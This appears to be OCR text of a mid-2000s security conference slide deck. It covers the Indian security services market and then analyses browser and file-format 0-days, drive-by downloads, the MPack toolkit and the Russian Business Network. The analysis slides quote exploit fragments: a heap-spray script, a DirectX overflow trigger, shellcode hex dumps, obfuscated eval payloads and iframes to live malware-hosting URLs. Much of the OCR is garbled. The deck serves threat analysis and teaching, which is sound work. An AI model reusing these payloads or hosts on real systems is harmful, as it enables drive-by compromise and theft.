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The bigger picture...



Where are we now?
An organizational perspective

Organizations have understood the end-to-end picture.
Security has become justifiable in business terms.
‘Proactive, preemptive and inclusionary’ is the motto.
Resolution of Rol is still under experimentation.

Quality of manpower has improved.



e o - | Where are we now?
An indusftry perspective

The industry is back to basics.
Witnessing a wide scale, two-pronged consolidation.
Focus shifting from best-of-the-breed to contemporary.

Upping the effort to build in-house, multi-vendor, wholesome
solutions at lowest cost.

Turnkey, productized-services are the way to go.
Investment is scarce and returns are scarcer.
Technical innovation has hit the glass-ceiling.

Outsourcing is still problematic.



Where are we now?
A technical perspective

The threat landscape has changed.

The focus is completely crime-centric.

The vulnerability-to-exploit cycle is miniscule or negative.
The vendors have become responsible and mature.

Haphazard laws and legal ramifications have added to the FUD.



o0 The failure of outsourcing

Information security lags by 5-7 yrs from the mainstream outsourcing
market.

A tough, complex and multi-disciplinary job.

Customer paranoia, compliance costs, confidentiality issues.

Legal hassles with overseas contractors.

Bigger contractors lack skilled manpower creation skills for this niche
domain.

Only mainstream security services are being pursued.

Many opportunities are going unnoticed.

More effort, less clarity, unneeded complexity, low quality.



o0 The Indian security market

The IT infrastructure is being completely overhauled.

Organizations have been ‘pressurized’ to take security into
consideration.

Their buying approach is very conservative.
IDC estimate:$120M by 2008. Understatement.

The SMB sector is one huge, untapped and unaccounted opportunity.



Selling to Indian SMBs

Relationship should be the topmost priority.

SMBs still have a shopkeeper's approach.

The market is unaccounted for. First-mover tactics.
Personalized pitch.

Focus on post-sales too.

Let them get the bang for the buck.

Assist them in assessing the Rol.

Partner networks needs to improved.

Marketing is still very immature.



(Concept + Cost) Arbitrage

Market is thumbs-up to contemporary offerings bundled in an ‘on-
demand’ fashion.

“...Philippe Courtot (CEO, Qualys) acknowledged that in his business it
IS quite possible that an Indian company could come up with a vastly lower
cost structure, and customers would switch immediately, if they are
convinced about the reliability of the service.” -- Sramana Mitra

Challenges: Team, Sales, Investment.



The view from the foxhole...



WMF — Where it all began...

Timeline

October-December 2005: Numerous versions of the private exploits were
circulating in the wild already. The Russian mafia was selling ready-to-run
malware versions for $4000.

27th December 2005: The vulnerability details were disclosed publicly on
a mailing list and working exploit was released.

29th December 2005: Microsoft confirms the vulnerability, but no patch in
sight. Numerous versions of the malware popping out every minute.

31st December 2005: lIfak Gulfikanov, an independent researcher,
releases a unofficial patch for the vulnerability.

5th January 2006: Microsoft breaks out from its patch release cycle under
pressure and delivers the fixes (MS06-001).



WMF — Where it all began...

Technical details...

WMF contains graphics functions and parameters used to render an
image.

The file has a main header (18 bytes), followed by one or more data
records.

typedef struct WindowsMetaHeader

{

WORD FileType; /* Type of metafile (l=memory, 2=disk) */

WORD HeaderSize; /* Size of header in WORDS (always 9) */
WORD Version; /* Version of Microsoft Windows used */

DWORD FileSize; /* Total size of the metafile in WORDs */
WORD NumOfObjects; /* Number of objects in the file */

DWORD MaxRecordSize;/* The size of largest record in WORDs */
WORD NumOfParams; /* Not Used (always 0) */

} WMFHEAD



WMF — Where it all began...

Technical details...

A record is a binary-encoded function call to the MS-GDI. An integer
identifies a specific GDI function, along with the parameters to that function.

To render, the library calls each GDI function specified in these records
and passes the associated parameters.

typedef struct \x20\x00\x00\x00 rdSize

{ 0x061C RoundRect \x26\x06 rdFunction (0x0626)
DWORD rdSize; 0x061D PatBlt \x09\x00 nEscape (SETABORTPROC)
WORD rdFunction; 0x0626 Escape \x16\x00 InDataSize

WORD rdParm[1]; 0x062F DrawText uchar[n] lpvInData

} METARECORD;

int Escape( HDC hdc, int nEscape, int InDataSize, LPCSTR lpvInData,
LPVOID lpvOutData ) ;

Second, third, and the fourth parameters are directly supplied by the file.



WMF — Where it all began...

Technical details...

SetAbortProc sets the application-defined abort function that allows a
print job to be cancelled during spooling.

int SetAbortProc( HDC hdc, ABORTPROC lpAbortProc ) ;

0x08 QUERYESCSUPPORT
0x09 SETABORTPROC
0x0a STARTDOC

0x0b ENDDOC

The second argument is a pointer to an arbitrary function.

When WMF calls it, the function code is directly supplied as the last
parameter.

Rest is for your grandchildren...



WMF — Where it all began...
Celebrating 0-day New Year

00000000: 01 00 09 00 00 03 04 0a 00 00 06 00 3d 00 00 OO " S =

00000010: 00 00 20 00 00 00 [26 06 09 00 41 41 41 41 41 41 D k.. AbA

Metasploit introduced compression, chunked encoding, dummy
records evasion.

Targeted attacks came to the limelight.
Marked a milestone which changed the threat landscape.

Contemporary defense was about to become obsolete.



e o - | IE CreateText 0-Day
Upping the ante

<SCRIPT LANGUAGE="JScript">

var rng = document.body.createTextRange( ) ;
if (rng'!'=null) {

alert (rng.htmlText) ;

}
</SCRIPT>

create TextRange method returns the TextRange object for an HTML element.

TextRange facilitates the retrieval and modification of the text content of the
element.

BODY, BUTTON, TEXTAREA, INPUT type=button, hidden, password, reset,
submit, text

Not all INPUT types support the TextRange object, so the create TextRange
object method may not be invoked.



e o - | IE CreateText 0-Day
Upping the ante

create TextRange utilizes a function pointer stored in a structure belonging to
the INPUT element.

Not initialized properly if the INPUT type is not designed to use
create TextRange (button, checkbox, image, radio).

The pointer contains an arbitrary address that usually points to the heap.

The value stored at that address is directly used as the address of a function.



The VML 0-Day
Setting the standard

Rejected as a web standard and was replaced by the Scalable Vector
Graphics (SVG).

<v:rect
style='width:120pt;height:80pt’
fillcolor="red">

<v:fill

type="gradient"
method="1linear"/>

</v:rect>

The "fill' sub-element describes how the drawn object should be filled.
No bounds checking on the method attribute of the fill.

Uses a fixed size stack buffer of 260 bytes.



The VML 0-Day
Setting the standard

Ubiquitous attack vectors (HTML - Outlook, IE).
Method could be anywhere.

Scripting languages are a decoding nightmare.

IPS groaned. AVs were doing second-stage detection.

Exploit-facing protection was debunked.



The ANI 0-day

Things were never the same

A graphics file format used for animated icons and cursors.

Based on the RIFF file format, which is used as a container.

RIFF is a generic meta-format for storing data in tagged chunks.
Cffgat Eize Description Difget Eize Descripticn
;;;E; E,_ ; T _,:l_:u_n;;}_d;;:i;._i;___ 0x0000 4  Chunk Identifier { "RIFF" cr "LIST"]
P . 0x0004 4  Length (M}
Jx0004 4 Length (N Q%2008 4  Type [dentifisr
Qx200E N Chunk Data Q000C N eubchunke

Two Chunk Identifiers, "RIFF" and "LIST", contain subchunks.
If the Type Identifier of "RIFF" chunk is "ACON", the file is an ANI cursor.

Every ANI file has chunk with Chunk Identifier "anih” (36 bytes), containing
summary description of the file.



The ANI 0-day

Things were never the same

struct tagANIHeader ({

DWORD
DWORD
DWORD
DWORD
DWORD
DWORD
chunk
DWORD

cbSizeOf; // Num bytes in AniHeader (36 bytes)

cFrames; // Number of unique Icons in this cursor
cSteps; // Number of Blits before the animation cycles
cx, cy; // reserved, must be zero.

cBitCount, cPlanes; // reserved, must be zero.

JifRate; // Default Jiffies (1/60th of a second) if rate
not present.

flags; // Animation Flag

} ANIHeader;

Only the first “anih” chunk undergoes sanity checks.

After the check, LoadAnilcon calls ReadChunk.

ReadChunk copies each chunk into a stack-based buffer.

Length determines the size of the buffer!



The ANI 0-day

Things were never the same

Mind-bogglingly diverse attack vectors (HTML, attachments).
The file extension could be changed.

Even the preview functions are vulnerable.

Actually, a bug which rose from its ashes.

Mallet on the head of MS’ QA practices.



® 0 Shotgun Attacks, Drive-By Downloads

The most business-savvy cyber-crime model.
Heavy monetization. Arms bazaar.

Used for plethora of nefarious activities — espionage, data thefts, bot
herding, etc.

Contemporary defense fails to provide protection.
AV vendors are fooling you by providing reactive defense.

Simple, precise, scalable, wide-scale, productizable.



Shotgun — Bank of America

8 e W

F!Ee Edlt Vlew Heip

<HTML= il
<HEAD>

<meta http-equiv="Content-Language" content="en-us">
<meta name="GEMERATOR" content="Microsoft FrontPage 5.08">
<meta name="ProgId" content="FrontPage.Editor.Document">

<TITLE=Don Heckman's wWeb Site</TITLE=
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1252"> | 3
<base href="http://www.dheckman.com">
</HEAD=

ink=" " ylipk="#800060" alipk="#8080Q0" >
<iframe src="&#104;8#116;8&#116;8#112;8#58 ;8847 ;6447 ;64119 ;88119 ;64119 ; 8446 ; &#114 ; &#111 ; &#99 ; &#107 ; &#45 ; &#115; #4112 ; &#
<Nnr=

»The URL is encoded using a simple decimal representation method.

“&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#1
14;&#111;&#99;&#107;&#45;&#115;&#112;&#105;&#114;&#105;&#116;&#115
;&H#46; &#100; &#101;a#47;6#116;&#101;&#109;&#112;&#108;&#97;&#116;&#
101;&#115;&#47;&#105;&#110;&#100;&#101;&#120;&#46;&#112;&#104;&#11

2.//
4

»Unescaped() - http://www.rock-spirits.de/template/index.php



Shotgun — Bank of America

The second URL contains harmless-looking encoded data and a
decoder.

hcgy4h3MuSTdOOX1kb3 kbVFolV fODy4h3MuSYdv1ON27D eCD19AvQibV ebDGAF
QshsV7hZYnfOXyhaTdJw912nQlPl1CliCTdPArNfOQlA29yhOEdR7vQibV ebDGOMVN
4ST79CvWwwrZ40Q14BQ7RCvxJIJMzMjAH7aw9ywwvxQ8Yy8AvxhJdXlanQ7kaTdJwv19R
AyROQI1RmA XbD eB910w9doLvWwwrZ40Q1l4BQ7RCvxJIJMzZQLXNhGrdha37hZYneh3x
hZTdRu3 OBvVWiArFhFXsNh3NaS3NEhXMR5Q1AsQsha9dOw9doLvWwwrZ40Q14BQ7RC
vxJIJMzZQLXNhGrdha37hZY¥neh3xhZTdRu3 OBvWiArFhFXslbQlEhXMR5Q1Aa9dOw9l
w2r7hOP_aSP ABrNwZ3ZQOYnwuQdAIHdiCHAPMC1liCTdPArNfOQlA29yhOEdR@7vTRS
PGOoMVN4ST79nHdoar7kLHAJ5V_e50MAJV7PzYnJMzMjAH7aw9ywwvxQ8Yy8AvxhJX1
anQ7kaTdJwv192nNemA XbD eB91w2r7hOP_aSP ABrNwZ3ZQ0YnibQl2hY1lAa37Pl
ZzZQ1lON27D eCD19AVT@Br wwvxQ63 iAv1oMDLISTxInVthOEdoRAyROQ1RmB7anHd
USV_UOD1XSDyaMXN5mVM3jSQNwbPyjBDyXSQMj5TNYBXNUSDMUxXMj5TN9RT1a537Pa
vmQ101ahTd@hXMgzDySzQliwrFhRAYROQ1IRmB7an9dI5TxInXt9GcGCBBEmMAwdAwZ (@n
@hXMgzDySzQlisvlubXlAavTZSwdOaHMeSTyDFvspeP19aP14xVsUA3MiCQl1U7HNRm
H1RzQyOOQ1R5PsRB3N9wTMumgyunVFiSDyoc9NanDyRCvmQFX XmclUB310h@sUbX1
5Br7P101ahTdYOXxa7D1USYyaOEdJw9daOV_aOV_aOV_aOV_UCgKS8@tUavmQ63 iA
vMaM3 9mDyeh3 iwrFhar aOV_aOV_aOV_aODy82EmeagtoZ@nfOXyhZV DOX1@5T1

<truncated>



Shotgun — Bank of America

The decoding function was quite advanced, involving the use of a
lookup table and a number of mathematical operations.

function dc(x)

Var
t=A
P33
21
for

—

H

A

-

o

[

=x.l=sngth,b=1024,1,7,

ay(e3,37,23,57,1,6€,1%,50,27
ne oam M me e

4,25,40,7,26,41,17,356,4%, 3,

1l,60,51,52,18,28,11,38,306,6

=Math.ceil(l/b);J>0;j--)
L1=",'

for{i=Math.min(l,b) i>0:1i

{

,12,0,0,0,0,0,0,13,10,42, 46

N
,39,0,0,0,0,32,0,3
]

21 CG A

Foe ey =

Wl=({t[x.charlodshkt (p++)-48] j=<<3;

if(s)

ring. fromCharCode (226*wW&235) ;

document.write (u);



Shotgun — Bank of America

Once run with the specified string, this decoding routine will write new
content to the web site which exploits a number of vulnerabilities targeting
Internet Explorer.

Microsoft XML Core Service XMLHTTP ActiveX Control Remote Code
Execution Vulnerability

Microsoft MDAC RDS.Dataspace ActiveX Control Remote Code
Execution Vulnerability

Java Sandbox Privilege Escalation Exploit

Downloads an executable QRhrTRWtr.exe, packed with FSG.

Downloads another executable demo.exe, a variant of
Infostealer.Bancos.



oo Shotgun — Orkut.com

A encoded webpage points to a fake Orkut login.
The login information is sent to the attacker.

A variant of the Microsoft MDAC
RDS.Dataspace ActiveX Control Remote Code
Execution Vulnerability which downloads a known
trojan.

Hospedagern de Sites
Jogos online
login Liets
Ernagrecer
Efetue login no orkut com o Registre de dominios
aLl Blog gratis

Conta Gougice

Mome de usuérinE—maiI:l

Senha:l

[T Salvar as minhas
informacdes neste
computador,

Efetuar login I

Ezquecsu a sua senha?

Se vocé ndo tem uma Conta do Google, entre
o seu nome de usuario e senha do orkut.

Caso tenha davidas, por favar visite nossa
pagina de perguntas sobre a conta do orkut




o0 ANI Exploitation

0000: 0200 | ff 50 e8 Sh 00 00 00 eb 81 e8 e9 ff ff ff 83 c4 | yPal. . & &&jyy. A

In 1& yen vpiy e gt 0000: 0210 | 08 ¢3 e8 S5f 00 00 00 68 ec 97 03 Oc 50 e8 7a 00| A& .. .hi.. Péz
80 G = il 0000: 0220 | 00 00 83 c4 02 c2 e8 4b 00 00 00 68 aa fc Od 7c|...A R&K...h20. |
m,‘{.ﬁ "ﬁ“ﬂ - ' 0000: 0230 | 50 8 56 00 00 00 83 c4 08 c¢3 eB 37 00 00 00 68| Pef.... A ﬁé?.:_.h

’ . 0000: 0240 | 72 fe b3 16 50 e8 52 00 00 00 83 c4 0B c3 e8 4d | rp®.PER. ... A AEM

= — , 0000: 0250 | ff ff ff 68 4f ef 4f 05 50 e8 3e 00 00 00 83 c4 | jjjh0io.Pé>. .. A
g R s 0000: 0260 | 08 ¢3 8 Of OO0 00 00 68 8¢ 4e Oe ec 50 €8 23 00| .A&....h.N.iPé*,
ﬁﬁﬂﬂ- JO AR 0000: 0270 | 00 00 83 c4 08 ¢3 33 cO 64 8b 40 30 85 cO 78 10 ...ﬂ.izﬁd.@a.gx.

0000: 0280 | 3e 8b 40 Oc 3e 8b 70 1c ad 3e 8b 40 08 c3 ebh Gb|>.@.>.p.->. @ A&.
o i E) 0000: 0290 | 32 8b 40 34 83 ¢0 7c 3 8b 40 3¢ ¢3 60 36 8b Gc [>. @l A|>.@<h’6.1

[T etme O000: 0220 | 24 24 36 8b 45 3c 36 8b 54 05 78 03 d5 3e 8b 4a | $36.E<6.T.x.0>.]
sarn | saem {000: 02b0 | 18 3e 8b Sa 20 03 dd &3 3b 49 3e 8b 34 8b 03 5| .>.Z .Y4:I>.4..6
o | s 0000: 02c0 | 33 ff 33 c0 fc ac B4 cO 74 07 cl cf Od 03 f8 eb | 3j3A0-. At AL, . oe
o[ e s 0000; 02d0 | f4 36 3b 7c 24 28 75 df 3e 8b 5a 24 03 dd 66 3e | 66;|§ (uk=.28.Yf>

E— OISONE|  mse| e gggg:ggig 8b Oc 4b 3e 8b Sa lc 03 dd 3e 8b 04 8b 03 c5 36 'ﬁ”"gz""i’:' : .A
THEE 2007-3-18 20 : DF . ake.p http-
afAN - 0000: 0300 //www . GO9EBBTT7 .

0O00: 0310

Y Source of: hitp://www. 999888777 .cn/why/acd2 htm - Bon Echo EEE]
File Edt “iew Help

“HITML >
“BODY style='cURI0OR: wrol{hbtp: e, 3938388777 cnwhosad, jpgh ' ¥

< B0 < HITML »

<iframe swre="http: e 993888777 cnwhy /014 hin" width="0" height="0" frameborder="0"::/iframe -

4 /HTML *

‘seript lamguage="javascript" swe="http:/Fcount34 Blves. comfolick. asprrid=34380421281ogo=1" < /sexript >

Line &, Col 35




® o MSO07-033 and Xunlei Shotgun

The actual exploit was obfuscated six times!

For the outermost layer of obfuscation, the attacker is using the eval() to
evaluate the text as script code.

The decoded script is divided into three portions that are being passed as
arguments to the document.writeln() function. This function will write the HTML
expressions in the current window.

The resulting code is divided into two main portions. The first part is evaluating
an expression encoded using the escape() function. This turns out to be a
function doing mathematical substitution.

Microsoft Internet Explorer Speech APl 4 COM Obiject Instantiation Buffer
Overflow Vulnerability

Xunlei Web Thunder ThunderServer.webThunder.1 ActiveX Control
Arbitrary File Download Vulnerability



IGET / HITP/1.1

[TE: deflate,gzip;q=0.3

;Connecticn: TE, close

Host: www.topsl00.org

User-Agent: Mozillas/4.0 (compatible; MSIE 6.0; Win32)

HTTR/1.1 200 OK

[Content-Length: 90479

Content-Type: text/html

[Content-Location: http://www.topslo0.org/default.html
Last-Modified: Tue, Ol Apr 2008 15:12:35 GMT
lAccept-Ranges: bytes

ETag: "besad2d0ag4csl: 19eh"

Server: Microsoft-1I5/6.0

IX-Powered-By: ASP.NET

Date: Thu, 03 Apr 2008 16:15:39 GMT

Fiframe src=http: //173.cncz.us/newl73.htm width=0 height=0=</1frame=
<html=

Real Player ActiveX 0-Day

[6ET /newl?3.htm HTTP/1.0

lbcecant: image/cif, imzge/«-xb1tmap, 1mage/jpeqg, 1rage/pipeq, applic
Referer: http://www.tcpsld0.crg/

JArceal-Language: =2n-us

User- Agent: Mozilla/4.0 (compatible; MSIE €.0; Windows NT S5.1; Svl)
Host: 173.cncz.us

Connzction: Keep-Alive

LTTP{I.] 200 Ok

[connzction: keep-alive

Date: Thu, 03 Lpr 2008 16:15:42 GMT

Servar: Microscft-I[IS/6. 0

%-Powered-By: ASP.NET

Contznt-Length: 158

Contant-Type: text/html

Set-Cookle: ASPSESSIONIDAQRDAQCS=HJICBILECAILPJHFCFAIMMIMK; path=/
|cachea-control: private

l<iframe srczw/L.htnl width=0 height=0=</iframe>

X-Powered-By: ASP.NET
Date: Thu, 02 Apr 2008 16:15:41 GMT
Connection: keep-alive

<script=
window.onerror=function(){return true;l
window.status="....";

=/script=

=script=

. /*0000000000000000000000

..eval(“\x2F\x2ﬁ\x30\x3@\x30\x30\x3@\x30\x30\x30\x3ﬂ\x3@\
Y200 30N x 30N x 24N, % 2F\ x O0\, x O AN 2 74\ x 72\, x 79\ x 7B\ x B0 x66\ x28Y,
WA 28N K220 0 ADN K 220 ¥ 2B\ 1224 M B0 x 22\ ¥ 2B\ X 22\ M B3 x T2\ xEFY,
N XACN X222 X 2B X 224, M A8\ X 22%, X 2B% M 22\ X SN XS\ X 22\ X ZBY X 22\ xS0,
WHES\ KEENK 74N\ K22\ SO\ XSB\ X 22\ K77\ X 72\ KBE\ X 74\ K65 X222\ XS0,
Y XG4 BTN XTI X 7O XBCY xB1Y x 79 X34\ x 5B\ x6F x BB\ x 854 x 204 x 73,
NG LY B0 XE5Y X 3E\ K27\ X 29\, x 7D\ X633\ X 61, X 74\ X 63\ xE8Y x28\ x65Y,
W20\ AL\ B3N X7 4\ B9\ X 76\ XE5\ X588\ X 4R\, X622\ XGA\ XE5Y XE3\ k74N,
WASC\X7EN\X 37\ 34\ X5C\ x 78\ x 36\ x 43\ x SC\ x 78\ x 32\ x 454 xSC\ x 78\,
WXZB\ X 22N X 74N\ XBC\ X 2B\ X 31\ 22\ X 29\ X 29\, X 77\ X 69\ X BEY X664\ xEFY,
W72\ KBGO\ X 74N XB5\ M 22\ x50\ 28\ ¥ 27\ X 3C\, X609\ X656\ ¥ 724 X6 1\ XEDY,
W XEEN XEFY XBEN XE5\ K 20\ X T3\ X7 2\ 62\ X 30\ ¥ 22\ X 37\ X 2B\ X677\ 69N
N XE9N XBEN XG4 X 6P\ X 77\ X DB\ X224 X 64\ X 5P, X633\ X 73\ xEDY X665\ x6EY,
WEGE\ K72\ XE 1\ XG0\ K63\ X200, X7 3\ X 74\ X 79\ X8I0\ X6\ x 3D\ X644\ xE9Y,




Real Player ActiveX 0-Day

JF00000000000200000000000000000%/

try{if(new

Activexvbject( "M+ i+ cro'+"so "+ " fr. X"+ ML+ "H" +" 1 1 "+"P" ) Jwindow["document" ] ["write~] (' <i

style=display:none src="1.gif"=</1frame=')}catch{el{};

Bryfif(new ActiveXobject("IE"+"RP"+"\x43\x74\x6C\ x2E\ (404 x45\x52"+"PC+"t1.1"))
window["document”] ["write"]( '<iframe style=display:none src="7.gif"></iframe>"});
window["document"] ["write"]('<iframe style=display:none src="2.gif"s</iframes')

Ycatch(e){};

try{if(ncw

ActiveXObject("M"+"PS.S"+"to"+"rm"+"PL"+"ay"+"ar" ) Jwindow["document" ] ["write" ] ('<iframe

style=display:none src="3.gif"=</iframes')}catch(e){}; try{if (new

ActiveXObject("P'"+"OW"+"ER'+"PLA"+"YE"+"R.Powe"+" rPlay"+"erc"+"trl.1" ) Jwindow[ "document" ][

style=display:none src="4.gif"=</iframe=')}catch{e){};

Accesses the parent object window and indexes the document
subobject: window["document"].

It then references a method owned by the document object, by
appending a second index: window["document"]["write"] causing
the actual HTML code to be generated.



Real Player ActiveX 0-Day

var bigblock=unescape ("%uLLBCHULCUL" ) ;

var headersize=20;

var slackspace=headersize+shellcode. length;
whilel(bigblock.lengtheslackspaceibigblock+=bigblack:

var fillblock=bigblock.subszring(0,slackspace);

var block=bigblock.substring(o,bigblock.length-slackspacel;
while(block. .ength+slackspace<0x40C00)block=block+block+f-11lblock;
var memory=new Array();

for(1=0; 1<400; i++){memory.il=block+shellcode}

var buf='':

whilel(buf.length<32)buf=buf-unescape("%0C" |;

var m='"';

m=obj.Console;

obj.Console=buf;

obj.Console=nm;

fl=obj.Console;

obj.Console=buf;

obj.Console=m:

</script>




Real Player ActiveX 0-Day

[UTCUNETTC W LLE LT ™=ITLImL2 1

Edncument.writeln“" <head=>") ;

document.writeln(" =script language=\"JavaScript\"="];

document.writeln("eval (function(p,a,c,k,e,d){e=function({c){returni{c=a?\'\':elpars
String. fromCharCode(c+29) :c.toString(36) ) };1t 0\ '\ ' .replace(\/"\/,String) ) {whilel
{return dlel}]l;e=function(){returny'\\\\wt\'};c=1};while(c--)1f(klc])p=p.replace
nght),klel); return plinte b(){dz f=3;4z c=4y(\"%3ws2t\"+)\"%10%2A%1G%0", "+\ "%\V% 1 1%
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Facebook ActiveX Attack

ks Tools  Help

| [} http:fiprofile. myspace. com.index .cfm. fuseaction. usar viswprofile friend 518729, cry | X | [ | |

25

My

ih'myspace.com,:

a place for friends

Home | Bro h | Invite | Filmn | Mail | Blog | Favorites | Forum | Groups | Events |

Cool New Yideos 48,591 uploaded taday!

You Must Be Logged-In to do That!

Member Login

Mall Triple Singing Tesla Funny Greei( Light Saber

Fountain Dive Coil Guard March Battle Bl I
Sean Look Up Hedajeh Coldesae Ine. Passward I

Books Forum Mobile Profile Editor mew:! I Remember Me

Blogs Grade My Prof.  Movies Ringtones Mew! [ oam

ChatRooms  Groups Music Schools L

Comedy Horoscopes Music Yideos T4 On Demand Forgot your password?
Downloads  Impact New! MySpacelM Yideos
Filmmakers  Jobs Mews MEw! Weather nEw!

Cool Hew People

1 | | [»
Find: | footer & Mext 1% Previous [ Highlight all & Match case
Line 1, Col 9989




Facebook ActiveX Attack

File Edit View Help
<SCRIPT Language="lJavaScript"=>

</SCRIFT=>

1
Line 3, Col 10

Facebook Photo Uploader 'ImageUploader4.1.ocx’ FileMask Method
ActiveX Buffer Overflow Vulnerability

 Yahoo! Music Jukebox 'mediagrid.dll' ActiveX Control Remote Buffer
Overflow Vulnerability

» Yahoo! Music Jukebox Addimage Function ActiveX Remote Buffer
Overflow Vulnerability

* Apple QuickTime RTSP URI Remote Buffer Overflow Vulnerability

eval (unescape [ "%66%75%0E%63% 7 466 0% 660 20%64% 2 8% T 32 0% TE% 7 2% 30 0E%60% 7 M 2054 1% 7 2% 7 25061 % T 0 285 205 30% T 4% 308 2 2% 2 2% 3% 6 A% 30% 305

]

-

-




o0 Facebook ActiveX Attack

Stack-based overflow in Aurigma ImageUploader4.1.ocx ActiveX control
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MS DirectX 0-Day

<object classid="clsid:201EA564-A6F6-11D1-811D-00C04FB6BD36"
id="DirectXSDK"></object>

var address = "\x41\x41\x41\x41l";

while (address.length < 2088) address += address;

DirectXSDK. SourceUrl = address;

Buffer-overflow in the 'DXTLIPI.DLL' included in the Microsoft DirectX
Media SDK.

DirectX Media SDK was deprecated 2002.

The vulnerability affects the 'SourceUrl' property of the
'DXSurface.LivePicture.FLashPix.1' ActiveX control.

SourceURL parameter of more then 2088 bytes results in the ECX
register becoming corrupt and later causing a call to an attacker-supplied
address.



MS DirectX 0-Day

¥
BN
UulnerableCode:
mow eax, [ecx]
push 1
call dword ptr [eax] ; EAX is controlled through ECH

284 |

285 .function sdk exploit()

286 .{

287 ..1f (isMemory == false ) makeMemory();
288 . .var tmp = "Z\x0A\xXOA\ X0 xDA" ;

289 ..var tmp size = 1044;

290 ..while(tmp.length = (tmp _size * 2)) tmp += tmp;
291 ..tmp = tmp.substring(0, tmp size);

292 ..sdk.Sourceurl = tmp;

293 ..location.reload();

294 .}

295 .

296 . function yahoo exploit()

Registers (FPLU) %, %, i %, %, i

ERx AABAEEEA

ECx 0BaBanE74

ED¥ ASBSFFS1 ASCII "Ci~U.exe"

EE® BSBEFFE1 ASCII "Ci:~U.exe

ESF B1BCF2EC

EEF @O1EBCFEBA4

ESI (BSESFFCE ASCII "http:s<dpsite.org- load-sindeds.phpTwmid=2&pid=1""
EDI Y@zF1AZ&

EIF &1495E15S urlmon.&1495B15



MS DirectX 0-Day

»[hxxp]://xpsite.org/load/index.php?wmid=8&pid=1
95eb8d5efOff76d9fcbe348a2185b4a51140ff5b 1

»[hxxp]://xpsite.org/load/index.php?wmid=9&pid=1

ed0ae96942b03ab9000e368e0dcbbdc8242b7524 2

J e —nr T A T T P P P P Py

=] j explarer. ex 1852 Windows Explorer  Microsoft,..
WidwareT ray Widware, ...

Wb warell ser YWidware, ...

49 Wwindows Messen... Microsoft...
a4 CTF Loader hdicrosaft,..
5HE Adobe Acrobat 5. Adobe 5.,
va aa4 in=ip Executable Windip C...

— 272 B Sheinternalz Proc.. Sysintem...

Type IName i
File CoAWAM DWW S WWinS 25 486 _Microzoft Wikdows. Cormmon-Controls_6595bE41 44cef1dl_B.0.2600. 2982 x-ww_ac3f9c03
File AWM DWW S WwinS =5 4«86 _Microzaft Widdows. Cormaon-Controlz_6595b641 4dccf1df_B.0. 2600 2982 _x-ww_ac3f9c03
File C: W IM DWW W inS w5 BB _Microzoft \Wigdows, Common-Controls_ 65350647 4dccf1df_B .0 26002932 _s-waw_ac3f9c03
File C W IM DO W inS w5 w86 _Microzoft Widows, Common-Controls_ 65350647 4dccf1df_B .0 26002932 _s-waw_ac3f3c03
File C: W IM DO S W NS w5 w86 _Microzoft Windows, Common-Controls_6535b647 4dccf1df_B .0 26002932 _s-vaw_ac3f9c03
indows. Common-Control:_ 6535b641 44ccf1 df_B.0. 26002982 _w-ww_ac3f3c03

File CoAWAR DWW S MwWinS =5 86 _Microso
i C:AAM DO S apstem 3205 ol dil




MPack Exploitation Toolkit

Cyber-crime at its best

Sold like commercial software ($500-$1000).
Technical support, developer upgrades.
Embed and enjoy!

Has a management console and analytics interface.



IE 5P ALL

QuickTime

Winz2000
Firefox

Opera?

MPack Exploitation Toolkit
Cyber-Crime at its best

39062 - 35472

22 - 21

2197 - 2073

7166 - 7040

214 - 211

MPack v0.86 stat

Total traff: 53858 - 47831 ™ RU - Russian 14223 | 1934
federation
Exploited: 11981 - 10222

“= s - United
Loader's states

response: . [
= IN - India

Loads count:

User hlocking:

Country blocking:
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PP The Russian Business Network
Cyber-Crime at its best

Organized cyber-crime conglomerate.

Physically based in Russia.

MPack, Storm Worm, Child Pornography, phishing, spam — you name it.
International partners and affiliates.

Provides safe haven and hosting for nefarious activities.

Estimated revenues are > $150M.

Untraceable in the physical realm.

Owns an Autonomous System (AS40989)!

Close synergy with mainstream mafia.

Remember Bank of India?



Predicting the Threat Landscape

Impact
A Information Warfare

Vandalism

\

Experimentation

\.

Frequency



Cyber Threat Hype Cycle

visibility Research ,,,, React and Pilot Operational Operationalize

Atacks  Contain Solution
N ) Peer-toBagr Threats

/N

Regulatory Dis]

totnets l;

Yiruses

Social Engineering
DOS Attacks

SOHO . Hybrid
Vulrerabilities Q Embedddd OS Yulnerabilities DNS Wsrins
Attacks
SharedCode _ & _ o Key: Time to Plateau
() Less than two years

O Twoto five years
I\}pbile and Wireless Defke Attacks @ Fiveto 10 years

A\ More than 10 years

&% Obsolete before Plgleau

i

@ Virtualization Threats"
RFID Threats

\ /

As of Se |::-I:e r 2005

Technolo Pghik of » lfgh of Slope au of
Trigger flated \ Eevanc:e Ellllghtenmen ermauent
Hyperbole Annoyance

Ty Gartner

{From "Hype Cycle for Cyberthreats, 2005." 22 September 2005)



®0 InfoSec Hype Cycle

visibility

4

Key: Time to Plateau
{0 Metwork Access C{Jntrﬂq

\

ﬁlnstant Messaging Securitﬂ
| !

(O Less than two years

© Two o five years

@ Five fo 10 years

A\ More than 10 years

() Obsolete before Plateau

HIPS on PCs 4
: C)

Content
Monitoring
and Filtering

GRDIE Managemenﬂ

Secure
Sockets Layer/

Transport
Layer Security

flored Database Security ® Hardware
¥ : Tokens
Database Activity Monitoring — F”ter%’}gﬁ_gid“md
Transaction Anomaly Detection @ _E-Mail) £ User Provisioning '
Authentication i) T TR =TT
Standards - ) =tworr 2 ._._.l' URL Filtering
() E-Mail Encrypticn '..--" Smart Tokens
irtualization Sewntg 9 ¢S SEN m

E-Sianatures oy

{etwirk Behavior Analysis O] [ Anti-Phishing

__l' Portable Secure Environment

{’g'rgital Rights Management EEHTEFEHSE ,

(Next—Generation Firewsall {DPIFH

1 Application Monitoring and Intrusion
Detection

IPS on Serverd

o e —————_— O LB A O O e [
{‘ Web Trusted . I:’atch Management % ’ NIRRT E)
Application Computing WPA O {Web Services Secunty Standards
i Platform (3 Security e
and Security ) o i i
vVulnerability | Datz-at-Rest Oty 00 o) y Legend:
Scanners Encryption : = Enterprise Federated Identity) # Progressive
Appliances ( \fulnerabmt}..rl 8 Coosiai
Management {Fublic-Key Cperations) ® Décline

As of March 2006

Technology Peak of Trough of Slope of
Trigger Inflated Disillusionment Enlightenment
Expectations

Plateau of
Productivity

maturity

(ﬁrtner.



Customers are getting smarter
g
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‘Phish for Beer’ Challenge - Anyone”?
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Play safe!
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